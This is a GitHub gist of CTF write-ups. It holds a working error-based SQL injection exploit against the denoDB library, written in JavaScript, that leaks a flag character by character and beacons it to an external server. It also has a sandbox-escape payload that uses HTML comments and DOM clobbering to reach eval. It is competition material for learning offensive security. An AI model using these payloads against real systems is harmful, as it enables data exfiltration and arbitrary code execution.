Skip to content

Instantly share code, notes, and snippets.

Last active November 6, 2022 22:11
What would you like to do? 2022 CTF solutions
This was an SQL injection challenge where the goal was to find a 0day in denoDB library.
The bug we found was that `?` inside column name would confuse the formatters and would insert there values.
HOST_URL = (new URL(location)).searchParams.get('host_url') || ''
PING_URL = 'https://server';
let alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~';
// alph = 'bfa';
function m_payload(pos, char){
const h_char = char.charCodeAt(0).toString(16);
// error based sql injection
// `'` in () does not throw unknown column error which was crucial part of the payload
const payload = `\`in() UNION select 1, CASE substr(flag, ${pos}, 1) WHEN char(0x${h_char}) THEN 1 ELSE abs(-9223372036854775808) END FROM flag;`;
// when column name contains ? then the next value will be appended to it
// /??=` in () gets translated to: `'` in () `
return `${HOST_URL}??=${encodeURIComponent(payload)}`;
let flag = '';
navigator.sendBeacon(PING_URL, 'start');
async function leak_char(pos){
for(let c of alph){
const x = document.createElement('script');
x.src = m_payload(pos, c);
let notfound = false;
await new Promise(resolve => {
delete window.SqliteError;
// If there are results the page returns an array of jsons which is valid JS
// If not, then SqliteError is returned which is also a valid JS
// I am defining SqliteErrorr getter to see if the script tries to access it
Object.defineProperty(window, 'SqliteError', {
get: ()=>{
notfound = true;
configurable: true
x.onload = resolve;
if(notfound === false){
return c;
(async () => {
for(let pos = 1; pos < 100; pos++){
const c = await leak_char(pos);
if(c !== undefined) {
flag += c;
navigator.sendBeacon(PING_URL, flag)
This was a sandboxing challenge where the JS language is presenteded in the form of exotic, made-up language.
It's almost properly sandboxed but there is one bug that players needed to find.
The bug I found was to construct HTML comment (<!--) that is understood by JS and which makes it possible to ignore one semicolon
and then to concat array expression with variable name, like $var$['eval']. To get reference to eval we used DOM clobbering
and defined <iframe name=$win$>
<iframe name=$win$></iframe>
<!-- compiles to:
const write = (s) => alert(s);
const read = (s) => prompt(s);
const $test$=$win$<!--$asd$;
<!-- which is equivalent to
const write = (s) => alert(s);
const read = (s) => prompt(s);
const $test$=$win$["eval"];
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment